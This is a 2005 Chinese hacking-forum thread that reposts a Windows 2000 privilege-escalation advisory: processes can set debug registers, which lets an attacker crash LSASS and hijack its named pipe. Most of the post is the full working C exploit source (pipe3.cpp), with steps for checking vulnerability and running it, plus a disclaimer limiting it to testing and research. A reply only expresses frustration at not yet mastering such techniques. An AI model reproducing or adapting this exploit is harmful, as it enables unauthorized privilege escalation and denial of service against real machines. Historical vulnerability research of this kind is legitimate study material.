标题:
[转帖]Win2K 提升权限漏洞
[打印本页]
作者:
chinanic
时间:
2005-5-13 02:03
标题:
[转帖]Win2K 提升权限漏洞
发现 WINDOWS 2K 存在漏洞。如果攻击者能在 WIN2K 中运行程序,利用此漏洞,他至少能取得对 C:\WINNT\SYSTEM32 和 HKCR 的写权。
问题在于所有进程对 x86 debug registers DR0-7 都可访问。通过在一个进程中设置硬件断点,将能影响到其它进程和服务,例如中止该服务。攻击者然后再劫持该服务的信任命名管道。当其它服务向该命名管道写入时,便能伪装成服务了。
例如用硬件断点杀死 pipe3.cpp LSASS.EXE ,然后劫持 \\.\pipe\lsass :
1) 观察是否存在漏洞:
用 windbg 启动 debugging CALC.EXE ,设硬件断点于 ESP,再打开 taskmgr.exe 。如果你接到的不是 CALC.EXE 而是 Single Step exception 对话框或 BSOD ,那么,该系统存在此漏洞。
2) 利用 pipe3.cpp:
pipe3.cpp 有两个参数 , 。先启动 pipe3,稍等片刻。预期结果是能得到 LSASS.EXE 的 exception ,然后它将会消亡,之后控制台会被锁住,机器被重启。在 c:\winnt\system32 中会创建一个文件,在 HKCR 会创建一个 KEY。如果 LSASS.EXE 没消亡,先停止 PIPE3,然后再重启它。如果利用不成功。便需要 MAGICESPINLSA 参数了,它是 LSASS.EXE 中的 ESP。如果你得到 BSOD,那么将需要进一步利用该参数或 Sleep()。
以下代码仅仅用来测试和研究这个漏洞,如果您将其用于不正当的途径请后果自负
// Win2K elevation of privileges
// Written by Georgi Guninski http://www.guninski.com
// Kind of ugly but works
// Check the disclaimer and advisory at http://www.guninski.com/dr07.html
#define _WIN32_WINNT 0x0500
#include
#include
#include
// may need to change below
///////////////////////////////
DWORD lsasspid=224; // pid of LSASS.EXE
//DWORD lsasspid=236; // pid of LSASS.EXE
DWORD MAGICESPINLSA=0x0053ffa0; // ESP in LSASS.EXE - may need to change it
//////////////////////////////
char szPipe[64]="\\\\.\\pipe\\lsass";
HANDLE hProc = NULL;
PROCESS_INFORMATION pi;
volatile int lsadied = 0;
unsigned long __stdcall threadlock(void *v)
{
Sleep(1000);
LockWorkStation();
return 0;
}
unsigned long __stdcall threadwriter(void *v)
{
while(!lsadied)
{
FILE *f1;
f1=fopen("\\\\.\\pipe\\lsass","a");
if (f1 != NULL)
{
fprintf(f1,"A");
fclose(f1);
}
/*
else
printf("%s\n","error writing to pipe");
*/
Sleep(400);
}
printf("%s\n","Stop writing to pipe");
return 0;
}
unsigned long __stdcall waitlsadie(void *v)
{
int lsadied2=0;
long ( __stdcall *NtQuerySystemInformation )( ULONG, PVOID, ULONG, ULONG ) = NULL;
if ( !NtQuerySystemInformation )
NtQuerySystemInformation = ( long ( __stdcall * )( ULONG, PVOID, ULONG,
ULONG ) ) GetProcAddress( GetModuleHandle( "ntdll.dll" ),"NtQuerySystemInformation" );
typedef struct _tagThreadInfo
{
FILETIME ftCreationTime;
DWORD dwUnknown1;
DWORD dwStartAddress;
DWORD dwOwningPID;
DWORD dwThreadID;
DWORD dwCurrentPriority;
DWORD dwBasePriority;
DWORD dwContextSwitches;
DWORD dwThreadState;
DWORD dwWaitReason;
DWORD dwUnknown2[ 5 ];
} THREADINFO, *PTHREADINFO;
#pragma warning( disable:4200 )
typedef struct _tagProcessInfo
{
DWORD dwOffset;
DWORD dwThreadCount;
DWORD dwUnknown1[ 6 ];
FILETIME ftCreationTime;
DWORD dwUnknown2[ 5 ];
WCHAR* pszProcessName;
DWORD dwBasePriority;
DWORD dwProcessID;
DWORD dwParentProcessID;
DWORD dwHandleCount;
DWORD dwUnknown3;
DWORD dwUnknown4;
DWORD dwVirtualBytesPeak;
DWORD dwVirtualBytes;
DWORD dwPageFaults;
DWORD dwWorkingSetPeak;
DWORD dwWorkingSet;
DWORD dwUnknown5;
DWORD dwPagedPool;
DWORD dwUnknown6;
DWORD dwNonPagedPool;
DWORD dwPageFileBytesPeak;
DWORD dwPrivateBytes;
DWORD dwPageFileBytes;
DWORD dwUnknown7[ 4 ];
THREADINFO ti[ 0 ];
} _PROCESSINFO, *PPROCESSINFO;
#pragma warning( default:4200 )
PBYTE pbyInfo = NULL;
DWORD cInfoSize = 0x20000;
while(!lsadied2)
{
pbyInfo = ( PBYTE ) malloc( cInfoSize );
NtQuerySystemInformation( 5, pbyInfo, cInfoSize, 0 ) ;
PPROCESSINFO pProcessInfo = ( PPROCESSINFO ) pbyInfo;
bool bLast = false;
lsadied2 = 1;
do {
if ( pProcessInfo->dwOffset == 0 )
bLast = true;
if (pProcessInfo->dwProcessID == lsasspid)
lsadied2 = 0 ;
pProcessInfo = ( PPROCESSINFO ) ( ( PBYTE ) pProcessInfo + pProcessInfo->dwOffset );
} while( bLast == false );
free( pbyInfo );
}
printf("LSA died!\n");
lsadied=1;
return 0;
}
void add_thread(HANDLE thread)
{
CONTEXT ctx = {CONTEXT_DEBUG_REGISTERS};
//DR7=d0000540 DR6=ffff0ff0 DR3=53ffa0 DR2=0 DR1=0 DR0=0
SuspendThread(thread);
GetThreadContext(thread,&ctx);
ctx.Dr7=0xd0000540;
ctx.Dr6=0xffff0ff0;
ctx.Dr3=MAGICESPINLSA;
ctx.Dr2=0;
ctx.Dr1=0;
ctx.Dr0=0;
SetThreadContext(thread, &ctx);
ResumeThread(thread);
// printf("DR7=%x DR6=%x DR3=%x DR2=%x DR1=%x DR0=%x\n",ctx.Dr7,ctx.Dr6,ctx.Dr3,ctx.Dr2,ctx.Dr1,ctx.Dr0);
}
unsigned long __stdcall threaddeb(void *v)
{
STARTUPINFO si = {
sizeof(STARTUPINFO)
};
CreateProcess(0,"c:\\winnt\\system32\\taskmgr.exe",0,0,0,
CREATE_NEW_CONSOLE,0,0,&si,&pi);
Sleep(2000);
BOOL status = CreateProcess(
0,
"c:\\winnt\\system32\\calc.exe",
0,0,0,
DEBUG_PROCESS
| DEBUG_ONLY_THIS_PROCESS
| CREATE_NEW_CONSOLE,
0,0,&si,&pi);
if( !status )
{
printf("%s\n","error debugging");
exit(1);
}
add_thread(pi.hThread);
for( ;; )
{
DEBUG_EVENT de;
if( !WaitForDebugEvent(&de, INFINITE) )
{
printf("%s\n","error WaitForDebugEvent");
}
switch( de.dwDebugEventCode )
{
case CREATE_THREAD_DEBUG_EVENT:
add_thread(de.u.CreateThread.hThread);
break;
}
ContinueDebugEvent(de.dwProcessId,de.dwThreadId,DBG_CONTINUE);
}
return 0;
}
int main(int argc,char* argv[])
{
DWORD dwType = REG_DWORD;
DWORD dwSize = sizeof(DWORD);
DWORD dwNumber = 0;
char szUser[256];
HANDLE hPipe = 0;
if (argc > 1)
lsasspid=atoi(argv[1]);
if (argc > 2)
sscanf(argv[2],"%x",&MAGICESPINLSA);
printf("Fun with debug registers. Written by Georgi Guninski\n");
printf("vvdr started: lsasspid=%d breakp=%x\n",lsasspid,MAGICESPINLSA);
CreateThread(0, 0, &threadwriter, NULL, 0, 0);
CreateThread(0, 0, &waitlsadie, NULL, 0, 0);
CreateThread(0, 0, &threaddeb, NULL, 0, 0);
while(!lsadied);
printf("start %s\n",szPipe);
hPipe = CreateNamedPipe (szPipe, PIPE_ACCESS_DUPLEX,
PIPE_TYPE_MESSAGE|PIPE_WAIT,
2, 0, 0, 0, NULL);
if (hPipe == INVALID_HANDLE_VALUE)
{
printf ("Failed to create named pipe:\n %s\n", szPipe);
return 3;
}
CreateThread(0, 0, &threadlock, NULL, 0, 0);
ConnectNamedPipe (hPipe, NULL);
if (!ReadFile (hPipe, (void *) &dwNumber, 4, &dwSize, NULL))
{
printf ("Failed to read the named pipe.\n");
CloseHandle(hPipe);
return 4;
}
if (!ImpersonateNamedPipeClient (hPipe))
{
printf ("Failed to impersonate the named pipe.\n");
CloseHandle(hPipe);
return 5;
}
dwSize = 256;
GetUserName(szUser, &dwSize);
printf ("Impersonating dummy :) : %s\n\n\n\n", szUser);
// the action begins
FILE *f1;
f1=fopen("c:\\winnt\\system32\\vv1.vv","a");
if (f1 != NULL)
{
fprintf(f1,"lsass worked\n");
fclose(f1);
printf("\n%s\n","Done!");
}
else
printf("error creating file");
fflush(stdout);
HKEY mykey;
RegCreateKey(HKEY_CLASSES_ROOT,"vv",&mykey);
RegCloseKey(mykey);
CloseHandle(hPipe);
return 0;
}
受影响系统:
Win2K, Win2K SP1
Win2K SP2 未知
作者:
我是中国人
时间:
2005-5-18 18:09
标题:
[转帖]Win2K 提升权限漏洞
看完帖子后心理很郁闷,不知何时才能学到活学活用。
欢迎光临 黑色海岸线论坛 (http://bbs.thysea.com/)
Powered by Discuz! 7.2